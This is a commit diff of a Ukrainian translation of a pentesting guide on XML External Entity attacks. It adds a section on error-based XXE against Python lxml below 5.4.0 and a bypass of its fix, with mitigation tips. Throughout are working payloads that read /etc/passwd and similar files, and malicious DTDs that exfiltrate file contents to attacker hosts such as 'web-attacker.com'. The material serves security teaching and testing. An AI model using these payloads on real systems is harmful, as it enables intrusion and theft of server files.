Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to uk

2025-10-10 18:36:50 +00:00 · 2025-07-12 09:51:26 +00:00 · 2025-07-12 09:51:26 +00:00 · edab91ddf4
commit edab91ddf4
parent eadede6b2e
1 changed files with 80 additions and 17 deletions
--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@ -1,5 +1,10 @@
 # XXE - XEE - XML External Entity

+{{#include /banners/hacktricks-training.md}}
+
+- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
+- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
+
 {{#include ../banners/hacktricks-training.md}}

 ## XML Основи
@ -9,7 +14,7 @@ XML - це мова розмітки, призначена для зберіга
 - **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `&lt;` та `&gt;`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
 - **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
 - **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
+- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені за допомогою URL, викликають занепокоєння з точки зору безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
 - **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, для підтвердження вразливості.
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -83,7 +88,7 @@ XXE може бути використано для зловживання SSRF
 ```
 ### Blind SSRF

-Використовуючи **раніше згадану техніку**, ви можете змусити сервер отримати доступ до сервера, який ви контролюєте, щоб показати, що він вразливий. Але, якщо це не працює, можливо, це тому, що **XML-ентитети не дозволені**, в такому випадку ви можете спробувати використовувати **XML параметричні ентитети**:
+Використовуючи **раніше прокоментовану техніку**, ви можете змусити сервер отримати доступ до сервера, який ви контролюєте, щоб показати, що він вразливий. Але, якщо це не працює, можливо, це тому, що **XML-ентитети не дозволені**, в такому випадку ви можете спробувати використовувати **XML-параметричні ентитети**:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -97,7 +102,7 @@ XXE може бути використано для зловживання SSRF

 ### Приклад шкідливого DTD:

-Структура виглядає наступним чином:
+Структура така:
 ```xml
 <!ENTITY % file SYSTEM "file:///etc/hostname">
 <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
@ -121,7 +126,7 @@ XXE може бути використано для зловживання SSRF
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-Цей payload визначає XML параметричну сутність `%xxe` і включає її в DTD. Коли її обробляє XML парсер, цей payload отримує зовнішній DTD з сервера атакуючого. Парсер потім інтерпретує DTD вбудовано, виконуючи кроки, викладені в шкідливому DTD, що призводить до ексфільтрації файлу `/etc/hostname` на сервер атакуючого.
+Цей payload визначає XML параметричну сутність `%xxe` і включає її в DTD. Коли її обробляє XML парсер, цей payload отримує зовнішній DTD з сервера зловмисника. Парсер потім інтерпретує DTD вбудовано, виконуючи кроки, викладені в шкідливому DTD, що призводить до ексфільтрації файлу `/etc/hostname` на сервер зловмисника.

 ### Помилка на основі (Зовнішній DTD)

@ -130,7 +135,7 @@ XXE може бути використано для зловживання SSRF
 Повідомлення про помилку парсингу XML, яке розкриває вміст файлу `/etc/passwd`, може бути викликане за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:

 1. Визначається XML параметрична сутність з назвою `file`, яка містить вміст файлу `/etc/passwd`.
-2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, при оцінці, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як його ім'я.
+2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як своє ім'я.
 3. Викликається сутність `eval`, що призводить до динамічного визначення сутності `error`.
 4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що генерує повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.

@ -140,7 +145,7 @@ XXE може бути використано для зловживання SSRF
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-Після виконання відповідь веб-сервера повинна містити повідомлення про помилку, що відображає вміст файлу `/etc/passwd`.
+При виконанні відповідь веб-сервера повинна містити повідомлення про помилку, що відображає вміст файлу `/etc/passwd`.

 ![](<../images/image (809).png>)

@ -148,7 +153,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н

 ### **Помилка на основі (системний DTD)**

-А що щодо сліпих вразливостей XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?
+Отже, що стосується сліпих вразливостей XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?

 Лазівка в специфікації мови XML може **викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації**. Ця проблема дозволяє внутрішню перезапис сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перезапис сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.

@ -188,7 +193,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
 ```
 ![](<../images/image (625).png>)

-Оскільки ця техніка використовує **внутрішній DTD, вам спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
+Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, що використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
 ```xml
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -205,7 +210,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
 https://github.com/GoSecure/dtd-finder/tree/master/list
 {{#endref}}

-Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, присутніх у системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
+Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, що присутні в системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
 ```bash
 java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

@ -245,7 +250,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt

 Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:

-1. HTTP-запит надсилається для завантаження zip-архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
+1. Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
 2. HTTP-відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на кшталт `/tmp/...`.
 3. Архів потім розпаковується для доступу до його вмісту.
 4. Конкретний файл в архіві, `file.zip`, читається.
@ -257,7 +262,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
 <foo>&xxe;</foo>
 ```
 > [!CAUTION]
-> Запис файлів у тимчасовий каталог може допомогти **ескалації іншої вразливості, що стосується обходу шляху** (такої як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
+> Запис файлів у тимчасовий каталог може допомогти **ескалації іншої вразливості, що пов'язана з обходом шляху** (такою як включення локальних файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).

 ### XSS
 ```xml
@ -310,9 +315,9 @@ Responder.py -I eth0 -v

 ### XInclude

-Коли інтегрують дані клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні XXE атаки через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставляти зовнішні сутності в будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
+При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на модифікацію елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.

-Щоб виконати атаку `XInclude`, потрібно оголосити простір імен `XInclude`, і вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як можна сформулювати таку атаку:
+Щоб виконати атаку `XInclude`, потрібно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
 ```xml
 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
 ```
@ -358,7 +363,7 @@ Content-Length: 7

 foo=bar
 ```
-Тоді ви, можливо, зможете надіслати наступний запит, з тим же результатом:
+Тоді ви, можливо, зможете надіслати наступний запит з тим самим результатом:
 ```xml
 POST /action HTTP/1.0
 Content-Type: text/xml
@ -396,7 +401,7 @@ Content-Type: application/xml;charset=UTF-8
 </root>
 </root>
 ```
-Ще один приклад можна знайти [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
+Інший приклад можна знайти [тут](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).

 ## WAF & обхід захистів

@ -514,7 +519,7 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-Цей підхід показує, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримати файли, що містять символ нового рядка, такі як /etc/passwd, використовуючи техніку Out of Band.
+Цей підхід виявляє, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримати файли, що містять символ нового рядка, такі як /etc/passwd, використовуючи техніку Out of Band.

 Витік даних на основі помилок Щоб подолати це обмеження, використовується підхід на основі помилок. Файл DTD структурований наступним чином, щоб викликати помилку, яка включає дані з цільового файлу:
 ```xml
@ -527,7 +532,7 @@ Content-Type: application/x-xliff+xml
 ```javascript
 {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
 ```
-Щоб включити вміст файлу в повідомлення про помилку, DTD файл налаштовується:
+Щоб включити вміст файлу в повідомлення про помилку, файл DTD налаштовується:
 ```xml
 <!ENTITY % data SYSTEM "file:///etc/passwd">
 <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
@ -681,6 +686,61 @@ XMLDecoder - це клас Java, який створює об'єкти на ос
 https://github.com/luisfontes19/xxexploiter
 {{#endref}}

+### Python lxml Параметр-Ентіті XXE (Витік файлів на основі помилок)
+
+> [!INFO]
+> Бібліотека Python **lxml** використовує **libxml2** під капотом. Версії до **lxml 5.4.0 / libxml2 2.13.8** все ще розширюють *параметр* ентіті, навіть коли `resolve_entities=False`, що робить їх доступними, коли програма активує `load_dtd=True` і/або `resolve_entities=True`. Це дозволяє використовувати навантаження XXE на основі помилок, які вбудовують вміст локальних файлів у повідомлення про помилку парсера.
+
+#### 1. Використання lxml < 5.4.0
+1. Визначте або створіть *локальний* DTD на диску, який визначає **невизначену** параметр ентіті (наприклад, `%config_hex;`).
+2. Сформуйте внутрішній DTD, який:
+* Завантажує локальний DTD з `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
+* Перевизначає невизначену ентіті так, щоб вона:
+- Читала цільовий файл (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
+- Створювала іншу параметр ентіті, яка посилається на **недійсний шлях**, що містить значення `%flag;` і викликає помилку парсера (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
+3. Нарешті, розширте `%local_dtd;` і `%eval;`, щоб парсер натрапив на `%error;`, не зміг відкрити `/aaa/<FLAG>` і витікнув прапор всередині викинутої виняткової ситуації – що часто повертається користувачу програмою.
+```xml
+<!DOCTYPE colors [
+<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
+<!ENTITY % config_hex '
+<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
+<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
+%eval;'>
+%local_dtd;
+]>
+```
+Коли додаток виводить виключення, відповідь містить:
+```
+Error : failed to load external entity "file:///aaa/FLAG{secret}"
+```
+> [!TIP]
+> Якщо парсер скаржиться на символи `%`/`&` всередині внутрішнього підмножини, подвоюйте їх кодування (`&#x26;#x25;` ⇒ `%`), щоб затримати розширення.
+
+#### 2. Обхід захисту lxml 5.4.0 (libxml2 все ще вразливий)
+`lxml` ≥ 5.4.0 забороняє *параметричні* сутності помилок, як у наведеному вище прикладі, але **libxml2** все ще дозволяє їх вбудовувати в *загальну* сутність. Трюк полягає в тому, щоб:
+1. Прочитати файл у параметричну сутність `%file`.
+2. Оголосити іншу параметричну сутність, яка створює **загальну** сутність `c`, чий системний ідентифікатор використовує *неіснуючий протокол*, наприклад `meow://%file;`.
+3. Розмістити `&c;` в тілі XML. Коли парсер намагається розіменувати `meow://…`, він зазнає невдачі і відображає повний URI – включаючи вміст файлу – в повідомленні про помилку.
+```xml
+<!DOCTYPE colors [
+<!ENTITY % a '
+<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
+<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
+'>
+%a; %b;
+]>
+<colors>&c;</colors>
+```
+#### Основні висновки
+* **Параметричні сутності** все ще розширюються libxml2, навіть коли `resolve_entities` має блокувати XXE.
+* **Недійсний URI** або **неіснуючий файл** достатні для конкатенації контрольованих даних у викинутому виключенні.
+* Техніка працює **без вихідного з'єднання**, що робить її ідеальною для середовищ з суворими фільтрами виходу.
+
+#### Рекомендації щодо пом'якшення
+* Оновіть до **lxml ≥ 5.4.0** і переконайтеся, що підлягаюча **libxml2** є **≥ 2.13.8**.
+* Вимкніть `load_dtd` та/або `resolve_entities`, якщо це абсолютно не потрібно.
+* Уникайте повернення сирих помилок парсера клієнту.
+
 ## Посилання

 - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
@ -692,4 +752,7 @@ https://github.com/luisfontes19/xxexploiter
 - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
 - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)

+- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
+- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
+
 {{#include ../banners/hacktricks-training.md}}